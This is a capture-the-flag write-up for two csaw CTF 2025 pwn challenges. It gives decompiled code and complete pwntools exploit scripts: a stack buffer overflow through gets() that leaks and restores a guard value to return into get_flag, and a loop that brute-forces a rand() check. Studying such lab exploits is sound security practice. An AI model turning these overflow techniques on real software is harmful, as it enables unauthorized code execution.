2025-11
Challenge information
1
CTF: csaw CTF 2025
Challenge:
overflow meSolves: N/A
Description:
N/ATime-wasting to solve: 15 min
2
CTF: csaw CTF 2025
Challenge:
power upSolves: N/A
Description:
N/ATime-wasting to solve: 10 min
writeup 1
obvious stack-based buffer overflow with leakable canary (val) system.
returning to function get_flag with val integration.
00401332 uint64_t get_input()
00401332 {
00401332 FILE* fp = fopen("/dev/urandom", "rb");
00401332
0040135c if (!fp)
0040135c {
00401383 exit(1);
00401363 /* no return */
0040135c }
0040135c
00401383 fread(&val, 8, 1, fp);
0040138f fclose(fp);
00401394 uint64_t val_1 = val;
004013b8 printf(
004013b8 "\n\tA post-it on the floor. You would have stepped over it. I didn't. It has "
004013b8 "something for you: 0x%lx\n",
004013b8 val);
004013c7 puts("\nYour turn now. Write yourself into this story.");
004013d6 fflush(__TMC_END__);
004013e7 char buf[0x40];
004013e7 gets(&buf);
004013ec uint64_t val_2 = val;
004013ec
004013f7 if (val_1 == val_2)
00401423 return val_2;
00401423
00401403 puts("\nDisappointing. But that's you, isn't it? Messy. Human. And I stay anyway.");
00401412 fflush(__TMC_END__);
0040141c exit(1);
0040141c /* no return */
00401332 }
from pwn import *
from icecream import ic
import sys
e = ELF("overflow_me",checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False)
nc = "nc chals.ctf.csaw.io 21006"
if "nc" in nc:
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
if "http" in nc:
from urllib.parse import urlparse
HOST = urlparse(nc).hostname
PORT = urlparse(nc).port
dbg = 1
g_script = """
#set max-visualize-chunk-size 0x300
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
hlog= lambda i : print(f"[*]{hex(i)}")
shell = lambda : io.interactive()
payload = b""
def rst():global payload;payload = b"";log.info("***PAYLOAD RESET***")
def pay64(adr:int):global payload;payload += p64(adr)
def paybyte(data):global payload;payload += data if type(data) == bytes else data.encode()
def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args])
secret = 0x004040b8
r()
s(p64(secret))
leak = rl().strip()
ic(leak)
leak = int(leak,16)
ic(hex(leak))
s(p64(leak))
ru(b"It has something for you: ")
val = rl().strip()
ic(val)
val = int(val,16)
ic(hex(val))
pay(
b"A"*(0x58-0x18),
val,
b"A"*0x10,
0x0040146c,
e.sym["get_flag"]
)
sl(payload)
shell()
writeup 2
wth, every start of loop renew the value with rand() and at case 4, if random value fulfill the condition, the loop will be finished and function launch_starship() will be called.
0040197d int32_t main(int32_t argc, char** argv, char** envp)
00401992 void* fsbase
00401992 int64_t var_10 = *(fsbase + 0x28)
004019b1 setvbuf(fp: stdin, buf: nullptr, mode: 2, size: 0)
004019cf setvbuf(fp: __bss_start, buf: nullptr, mode: 2, size: 0)
004019ed setvbuf(fp: stderr, buf: nullptr, mode: 2, size: 0)
004019fc puts(str: "Your starship have been wandering for weeks in this derelict orbit, whose "
004019fc "core is out of energy.")
00401a0b puts(str: "You are the last engineer who must ignite the core with energy using proper modules.")
00401a1a puts(str: "Power up the starship. Or stay stranded forever.")
00401a2b srand(x: time(nullptr))
00401a2b
00401a35 while (true)
00401a35 putchar(c: 0xa)
00401a44 puts(str: "[1] Create a module")
00401a53 puts(str: "[2] Delete a module")
00401a62 puts(str: "[3] Edit a module")
00401a71 puts(str: "[4] Power up")
00401a80 puts(str: "[5] Stay stranded")
00401a94 printf(format: ">> ")
00401ac6 int32_t var_1c
00401ac6
00401ac6 if (__isoc99_scanf(format: "%d", &var_1c) == 1 && var_1c s> 0 && var_1c s<= 5)
00401af5 int32_t rax_7 = rand()
00401b01 uint32_t rax_10 = rax_7 s>> 0x1f u>> 0x18
00401b0e int32_t rax_11 = var_1c
00401b0e
00401b14 if (rax_11 u> 5)
00401b14 continue
00401b14 else
00401b3a switch (rax_11)
00401b3a case 0
00401b3a continue
00401b42 case 1
00401b42 create_module()
00401b47 continue
00401b51 case 2
00401b51 delete_module()
00401b56 continue
00401b60 case 3
00401b60 edit_module()
00401b65 continue
00401b95 case 4
00401b95 int64_t rax_26
00401b95 rax_26.b = (zx.q((energy s>> 4).d) & 0xf)
00401b95 == sx.q(zx.d(rax_7.b + rax_10.b) - rax_10)
00401b95
00401ba1 if ((zx.q(rax_26.b) | zx.q((energy s>> 8 << 4).b)) != 0)
00401ba1 break
00401ba1
00401bd0 puts(str: "The core is still dead as a rock without energy!")
00401bd5 continue
00401be1 case 5
00401be1 puts(str: "You and your starship will stay stranded in deep space forever!")
00401beb exit(status: 1)
00401beb noreturn
00401beb
00401ad2 puts(str: "Invalid choice!")
00401aee int32_t i
00401aee
00401aee do
00401ad8 i = getchar()
00401ad8
00401ae4 if (i == 0xa)
00401ae4 break
00401aee while (i != 0xffffffff)
00401aee
00401bad puts(str: "The core is full of energy to power up the starship!")
00401bb7 launch_starship()
00401bc1 exit(status: 0)
00401bc1 noreturn
well, just trying random value every time.
from pwn import *
from icecream import ic
import sys
e = ELF("chal_patched",checksec=False)
libc = ELF("libc.so.6",checksec=False)
ld = ELF("ld-linux-x86-64.so.2",checksec=False)
nc = "nc 127.0.0.1 9999"
if "nc" in nc:
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
if "http" in nc:
from urllib.parse import urlparse
HOST = urlparse(nc).hostname
PORT = urlparse(nc).port
dbg = 0
g_script = """
#set max-visualize-chunk-size 0x300
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sla = lambda a,b: io.sendlineafter(a,b)
sln = lambda b: sl(str(b).encode())
sl64 = lambda b: sl(p64(b))
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
hlog= lambda i : print(f"[*]{hex(i)}")
shell = lambda : io.interactive()
payload = b""
def rst():global payload;payload = b"";log.info("***PAYLOAD RESET***")
def pay64(adr:int):global payload;payload += p64(adr)
def paybyte(data):global payload;payload += data if type(data) == bytes else data.encode()
def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args])
for i in range(0x500):
sln(4)
a = r()
if b"flag" in a:
ic(i,a)
break
shell()
Last modified: 22 November 2025